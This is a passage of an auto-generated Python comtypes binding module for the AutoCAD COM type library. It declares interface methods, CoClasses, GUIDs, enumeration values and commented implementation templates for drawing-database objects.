['out', 'retval'], POINTER(VARIANT_BOOL), 'Fill' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'SolidFill',\n ( ['in'], VARIANT_BOOL, 'Fill' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'XRefEdit',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Edit' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'XRefEdit',\n ( ['in'], VARIANT_BOOL, 'Edit' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'XRefLayerVisibility',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'XRefLayerVis' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'XRefLayerVisibility',\n ( ['in'], VARIANT_BOOL, 'XRefLayerVis' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'OLELaunch',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Launch' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'OLELaunch',\n ( ['in'], VARIANT_BOOL, 'Launch' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AllowLongSymbolNames',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'LongNames' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AllowLongSymbolNames',\n ( ['in'], VARIANT_BOOL, 'LongNames' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'ObjectSortBySelection',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'ObjectSortBySelection',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'ObjectSortBySnap',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'ObjectSortBySnap',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'ObjectSortByRedraws',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'ObjectSortByRedraws',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'ObjectSortByRegens',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'ObjectSortByRegens',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ObjectSortByPlotting',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ObjectSortByPlotting',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'ObjectSortByPSOutput',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Sort' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'ObjectSortByPSOutput',\n ( ['in'], VARIANT_BOOL, 'Sort' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'ContourLinesPerSurface',\n ( ['in'], c_int, 'Path' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'ContourLinesPerSurface',\n ( ['out', 'retval'], POINTER(c_int), 'Path' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'DisplaySilhouette',\n ( ['in'], VARIANT_BOOL, 'Path' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'DisplaySilhouette',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Path' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'MaxActiveViewports',\n ( ['in'], c_int, 'Path' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'MaxActiveViewports',\n ( ['out', 'retval'], POINTER(c_int), 'Path' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'RenderSmoothness',\n ( ['in'], c_double, 'Path' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'RenderSmoothness',\n ( ['out', 'retval'], POINTER(c_double), 'Path' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'SegmentPerPolyline',\n ( ['in'], c_int, 'Path' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'SegmentPerPolyline',\n ( ['out', 'retval'], POINTER(c_int), 'Path' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'TextFrameDisplay',\n ( ['in'], VARIANT_BOOL, 'Path' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'TextFrameDisplay',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Path' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'Lineweight',\n ( ['in'], AcLineWeight, 'Path' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'Lineweight',\n ( ['out', 'retval'], POINTER(AcLineWeight), 'Path' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'LineWeightDisplay',\n ( ['in'], VARIANT_BOOL, 'Path' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'LineWeightDisplay',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Path' )),\n]\n################################################################\n## code template for IAcadDatabasePreferences implementation\n##class IAcadDatabasePreferences_Impl(object):\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return pAppObj\n##\n## def _get(self):\n## '-no docstring-'\n## #return Fill\n## def _set(self, Fill):\n## '-no docstring-'\n## SolidFill = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Edit\n## def _set(self, Edit):\n## '-no docstring-'\n## XRefEdit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return XRefLayerVis\n## def _set(self, XRefLayerVis):\n## '-no docstring-'\n## XRefLayerVisibility = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Launch\n## def _set(self, Launch):\n## '-no docstring-'\n## OLELaunch = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return LongNames\n## def _set(self, LongNames):\n## '-no docstring-'\n## AllowLongSymbolNames = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortBySelection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortBySnap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortByRedraws = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortByRegens = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortByPlotting = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Sort\n## def _set(self, Sort):\n## '-no docstring-'\n## ObjectSortByPSOutput = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## ContourLinesPerSurface = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## DisplaySilhouette = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## MaxActiveViewports = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## RenderSmoothness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## SegmentPerPolyline = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## TextFrameDisplay = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## Lineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Path\n## def _set(self, Path):\n## '-no docstring-'\n## LineWeightDisplay = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadDynamicBlockReferenceProperty(CoClass):\n _reg_clsid_ = GUID('{FB58C0F7-5A5C-453B-8602-53E785EF0F14}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDynamicBlockReferenceProperty._com_interfaces_ = [IAcadDynamicBlockReferenceProperty]\n\nIAcadObjectEvents._methods_ = [\n COMMETHOD([], HRESULT, 'Modified',\n ( ['in'], POINTER(IAcadObject), 'pObject' )),\n]\n################################################################\n## code template for IAcadObjectEvents implementation\n##class IAcadObjectEvents_Impl(object):\n## def Modified(self, pObject):\n## '-no docstring-'\n## #return \n##\n\nclass AcadAcCmColor(CoClass):\n _reg_clsid_ = GUID('{8489ED0D-5A6D-4C59-B173-2F9855DE496C}')\n _idlflags_ = []\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadAcCmColor._com_interfaces_ = [IAcadAcCmColor]\n\nclass IAcadRevolvedSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{F4C25A6B-5851-4BE0-BF3A-E6FA79CBE2B9}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadRevolvedSurface._methods_ = [\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'RevolutionAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'revAngle' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'RevolutionAngle',\n ( ['in'], ACAD_ANGLE, 'revAngle' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AxisPosition',\n ( ['out', 'retval'], POINTER(VARIANT), 'AxisPosition' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AxisPosition',\n ( ['in'], VARIANT, 'AxisPosition' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AxisDirection',\n ( ['out', 'retval'], POINTER(VARIANT), 'AxisDirection' )),\n]\n################################################################\n## code template for IAcadRevolvedSurface implementation\n##class IAcadRevolvedSurface_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return revAngle\n## def _set(self, revAngle):\n## '-no docstring-'\n## RevolutionAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return AxisPosition\n## def _set(self, AxisPosition):\n## '-no docstring-'\n## AxisPosition = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def AxisDirection(self):\n## '-no docstring-'\n## #return AxisDirection\n##\n\nclass AcadExtrudedSurface(CoClass):\n _reg_clsid_ = GUID('{D7350B82-3736-44AE-92A4-85CC17749ED5}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadExtrudedSurface._com_interfaces_ = [IAcadExtrudedSurface]\nAcadExtrudedSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadXRecord(CoClass):\n _reg_clsid_ = GUID('{ABBB188C-0FAD-40C3-87FC-1E2FBF9D445C}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadXRecord(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{33F0261F-F878-4C5B-85BC-F861960AB72B}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadXRecord._com_interfaces_ = [IAcadXRecord]\nAcadXRecord._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimStyle(CoClass):\n _reg_clsid_ = GUID('{19757890-E59D-4DC4-9919-6DE61F98D274}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDimStyle._com_interfaces_ = [IAcadDimStyle]\nAcadDimStyle._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadSection2._methods_ = [\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'State2',\n ( ['out', 'retval'], POINTER(AcSectionState2), 'pVal' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'State2',\n ( ['in'], AcSectionState2, 'pVal' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'SliceDepth',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'SliceDepth',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'SectionPlaneOffset',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'SectionPlaneOffset',\n ( ['in'], c_double, 'pVal' )),\n]\n################################################################\n## code template for IAcadSection2 implementation\n##class IAcadSection2_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## State2 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## SliceDepth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## SectionPlaneOffset = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadObject(CoClass):\n _reg_clsid_ = GUID('{CC65C4AF-6B21-4F18-9E97-11FDE963C55E}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadObject._com_interfaces_ = [IAcadObject]\nAcadObject._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadSortentsTable(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{8216FDF1-3773-4988-96F8-0FA8334CF9CC}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSortentsTable._methods_ = [\n COMMETHOD([dispid(1)], HRESULT, 'MoveToBottom',\n ( ['in'], VARIANT, 'Objects' )),\n COMMETHOD([dispid(2)], HRESULT, 'MoveToTop',\n ( ['in'], VARIANT, 'Objects' )),\n COMMETHOD([dispid(3)], HRESULT, 'MoveBelow',\n ( ['in'], VARIANT, 'Objects' ),\n ( ['in'], POINTER(IAcadEntity), 'Target' )),\n COMMETHOD([dispid(4)], HRESULT, 'MoveAbove',\n ( ['in'], VARIANT, 'Objects' ),\n ( ['in'], POINTER(IAcadEntity), 'Target' )),\n COMMETHOD([dispid(5)], HRESULT, 'SwapOrder',\n ( ['in'], POINTER(IAcadEntity), 'Object1' ),\n ( ['in'], POINTER(IAcadEntity), 'Object2' )),\n COMMETHOD([dispid(6)], HRESULT, 'Block',\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlock)), 'pBlock' )),\n COMMETHOD([dispid(7)], HRESULT, 'GetFullDrawOrder',\n ( ['out'], POINTER(VARIANT), 'Objects' ),\n ( ['in'], VARIANT_BOOL, 'honorSortentsSysvar' )),\n COMMETHOD([dispid(8)], HRESULT, 'GetRelativeDrawOrder',\n ( ['out'], POINTER(VARIANT), 'Objects' ),\n ( ['in'], VARIANT_BOOL, 'honorSortentsSysvar' )),\n COMMETHOD([dispid(9)], HRESULT, 'SetRelativeDrawOrder',\n ( ['in'], VARIANT, 'Objects' )),\n]\n################################################################\n## code template for IAcadSortentsTable implementation\n##class IAcadSortentsTable_Impl(object):\n## def MoveToBottom(self, Objects):\n## '-no docstring-'\n## #return \n##\n## def MoveToTop(self, Objects):\n## '-no docstring-'\n## #return \n##\n## def MoveBelow(self, Objects, Target):\n## '-no docstring-'\n## #return \n##\n## def MoveAbove(self, Objects, Target):\n## '-no docstring-'\n## #return \n##\n## def SwapOrder(self, Object1, Object2):\n## '-no docstring-'\n## #return \n##\n## def Block(self):\n## '-no docstring-'\n## #return pBlock\n##\n## def GetFullDrawOrder(self, honorSortentsSysvar):\n## '-no docstring-'\n## #return Objects\n##\n## def GetRelativeDrawOrder(self, honorSortentsSysvar):\n## '-no docstring-'\n## #return Objects\n##\n## def SetRelativeDrawOrder(self, Objects):\n## '-no docstring-'\n## #return \n##\n\nclass IAcadSweptSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{A8016A28-A6AC-49BB-BE8C-8F96033A4240}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSweptSurface._methods_ = [\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'ProfileRotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'profileRotationAngle' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'ProfileRotation',\n ( ['in'], ACAD_ANGLE, 'profileRotationAngle' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Bank',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bBank' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Bank',\n ( ['in'], VARIANT_BOOL, 'bBank' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Twist',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'TwistAngle' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Twist',\n ( ['in'], ACAD_ANGLE, 'TwistAngle' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'scale',\n ( ['out', 'retval'], POINTER(c_double), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'scale',\n ( ['in'], c_double, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(c_double), 'Length' )),\n]\n################################################################\n## code template for IAcadSweptSurface implementation\n##class IAcadSweptSurface_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return profileRotationAngle\n## def _set(self, profileRotationAngle):\n## '-no docstring-'\n## ProfileRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bBank\n## def _set(self, bBank):\n## '-no docstring-'\n## Bank = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return TwistAngle\n## def _set(self, TwistAngle):\n## '-no docstring-'\n## Twist = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## scale = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Length(self):\n## '-no docstring-'\n## #return Length\n##\n\nclass AcadRevolvedSurface(CoClass):\n _reg_clsid_ = GUID('{9DE83266-E5E0-4BA1-AF80-B2A63BF630CF}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadRevolvedSurface._com_interfaces_ = [IAcadRevolvedSurface]\nAcadRevolvedSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcColorMethod'\nacColorMethodByLayer = 192\nacColorMethodByBlock = 193\nacColorMethodByRGB = 194\nacColorMethodByACI = 195\nacColorMethodForeground = 197\nAcColorMethod = c_int # enum\nclass AcadLayer(CoClass):\n _reg_clsid_ = GUID('{063B89E8-3728-4C7A-A6B5-C2150CA6AEB8}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadLayer._com_interfaces_ = [IAcadLayer]\nAcadLayer._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadDatabase._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'ModelSpace',\n ( ['out', 'retval'], POINTER(POINTER(IAcadModelSpace)), 'pMSpace' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'PaperSpace',\n ( ['out', 'retval'], POINTER(POINTER(IAcadPaperSpace)), 'pPSpace' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Blocks',\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlocks)), 'pBlocks' )),\n COMMETHOD([dispid(4)], HRESULT, 'CopyObjects',\n ( ['in'], VARIANT, 'Objects' ),\n ( ['in', 'optional'], VARIANT, 'Owner' ),\n ( ['in', 'out', 'optional'], POINTER(VARIANT), 'IdPairs' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pNewObjects' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Groups',\n ( ['out', 'retval'], POINTER(POINTER(IAcadGroups)), 'pGroups' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'DimStyles',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimStyles)), 'pDimStyles' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Layers',\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayers)), 'pLayers' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Linetypes',\n ( ['out', 'retval'], POINTER(POINTER(IAcadLineTypes)), 'pLinetypes' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Dictionaries',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDictionaries)), 'pDictionaries' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'RegisteredApplications',\n ( ['out', 'retval'], POINTER(POINTER(IAcadRegisteredApplications)), 'pRegApps' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'TextStyles',\n ( ['out', 'retval'], POINTER(POINTER(IAcadTextStyles)), 'pTextStyles' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'UserCoordinateSystems',\n ( ['out', 'retval'], POINTER(POINTER(IAcadUCSs)), 'pUCSs' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Views',\n ( ['out', 'retval'], POINTER(POINTER(IAcadViews)), 'pViews' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Viewports',\n ( ['out', 'retval'], POINTER(POINTER(IAcadViewports)), 'pViewports' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'ElevationModelSpace',\n ( ['out', 'retval'], POINTER(c_double), 'Elevation' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'ElevationModelSpace',\n ( ['in'], c_double, 'Elevation' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'ElevationPaperSpace',\n ( ['out', 'retval'], POINTER(c_double), 'Elevation' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'ElevationPaperSpace',\n ( ['in'], c_double, 'Elevation' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'Limits',\n ( ['out', 'retval'], POINTER(VARIANT), 'Limits' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'Limits',\n ( ['in'], VARIANT, 'Limits' )),\n COMMETHOD([dispid(18)], HRESULT, 'HandleToObject',\n ( ['in'], BSTR, 'Handle' ),\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pObj' )),\n COMMETHOD([dispid(19)], HRESULT, 'ObjectIdToObject',\n ( ['in'], LONG_PTR, 'ObjectID' ),\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pObj' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'Layouts',\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayouts)), 'pLayouts' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'PlotConfigurations',\n ( ['out', 'retval'], POINTER(POINTER(IAcadPlotConfigurations)), 'pPlotConfigs' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'Preferences',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDatabasePreferences)), 'pPref' )),\n COMMETHOD([dispid(70), 'propget'], HRESULT, 'FileDependencies',\n ( ['out', 'retval'], POINTER(POINTER(IAcadFileDependencies)), 'pFDM' )),\n COMMETHOD([dispid(71), 'propget'], HRESULT, 'SummaryInfo',\n ( ['out', 'retval'], POINTER(POINTER(IAcadSummaryInfo)), 'pSummaryInfo' )),\n COMMETHOD([dispid(72), 'propget'], HRESULT, 'SectionManager',\n ( ['out', 'retval'], POINTER(POINTER(IAcadSectionManager)), 'pSecMgr' )),\n COMMETHOD([dispid(73), 'propget'], HRESULT, 'Materials',\n ( ['out', 'retval'], POINTER(POINTER(IAcadMaterials)), 'pMaterials' )),\n]\n################################################################\n## code template for IAcadDatabase implementation\n##class IAcadDatabase_Impl(object):\n## @property\n## def ModelSpace(self):\n## '-no docstring-'\n## #return pMSpace\n##\n## @property\n## def PaperSpace(self):\n## '-no docstring-'\n## #return pPSpace\n##\n## @property\n## def Blocks(self):\n## '-no docstring-'\n## #return pBlocks\n##\n## def CopyObjects(self, Objects, Owner):\n## '-no docstring-'\n## #return IdPairs, pNewObjects\n##\n## @property\n## def Groups(self):\n## '-no docstring-'\n## #return pGroups\n##\n## @property\n## def DimStyles(self):\n## '-no docstring-'\n## #return pDimStyles\n##\n## @property\n## def Layers(self):\n## '-no docstring-'\n## #return pLayers\n##\n## @property\n## def Linetypes(self):\n## '-no docstring-'\n## #return pLinetypes\n##\n## @property\n## def Dictionaries(self):\n## '-no docstring-'\n## #return pDictionaries\n##\n## @property\n## def RegisteredApplications(self):\n## '-no docstring-'\n## #return pRegApps\n##\n## @property\n## def TextStyles(self):\n## '-no docstring-'\n## #return pTextStyles\n##\n## @property\n## def UserCoordinateSystems(self):\n## '-no docstring-'\n## #return pUCSs\n##\n## @property\n## def Views(self):\n## '-no docstring-'\n## #return pViews\n##\n## @property\n## def Viewports(self):\n## '-no docstring-'\n## #return pViewports\n##\n## def _get(self):\n## '-no docstring-'\n## #return Elevation\n## def _set(self, Elevation):\n## '-no docstring-'\n## ElevationModelSpace = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Elevation\n## def _set(self, Elevation):\n## '-no docstring-'\n## ElevationPaperSpace = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Limits\n## def _set(self, Limits):\n## '-no docstring-'\n## Limits = property(_get, _set, doc = _set.__doc__)\n##\n## def HandleToObject(self, Handle):\n## '-no docstring-'\n## #return pObj\n##\n## def ObjectIdToObject(self, ObjectID):\n## '-no docstring-'\n## #return pObj\n##\n## @property\n## def Layouts(self):\n## '-no docstring-'\n## #return pLayouts\n##\n## @property\n## def PlotConfigurations(self):\n## '-no docstring-'\n## #return pPlotConfigs\n##\n## @property\n## def Preferences(self):\n## '-no docstring-'\n## #return pPref\n##\n## @property\n## def FileDependencies(self):\n## '-no docstring-'\n## #return pFDM\n##\n## @property\n## def SummaryInfo(self):\n## '-no docstring-'\n## #return pSummaryInfo\n##\n## @property\n## def SectionManager(self):\n## '-no docstring-'\n## #return pSecMgr\n##\n## @property\n## def Materials(self):\n## '-no docstring-'\n## #return pMaterials\n##\n\nclass IAcadArc(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{923F64D9-7F9A-49F8-ACCE-233CB4DAA47D}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadHatch(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{87CDEC00-6F05-47AB-9962-C34B15571A7E}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadBlock._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadEntity)), 'pItem' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(1536), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(1537), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1537), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(1538), 'propget'], HRESULT, 'Origin',\n ( ['out', 'retval'], POINTER(VARIANT), 'Origin' )),\n COMMETHOD([dispid(1538), 'propput'], HRESULT, 'Origin',\n ( ['in'], VARIANT, 'Origin' )),\n COMMETHOD([dispid(1539)], HRESULT, 'AddCustomObject',\n ( ['in'], BSTR, 'ClassName' ),\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pObject' )),\n COMMETHOD([dispid(1540)], HRESULT, 'Add3DFace',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], VARIANT, 'point3' ),\n ( ['in'], VARIANT, 'Point4' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DFace)), 'pFace3d' )),\n COMMETHOD([dispid(1541)], HRESULT, 'Add3DMesh',\n ( ['in'], 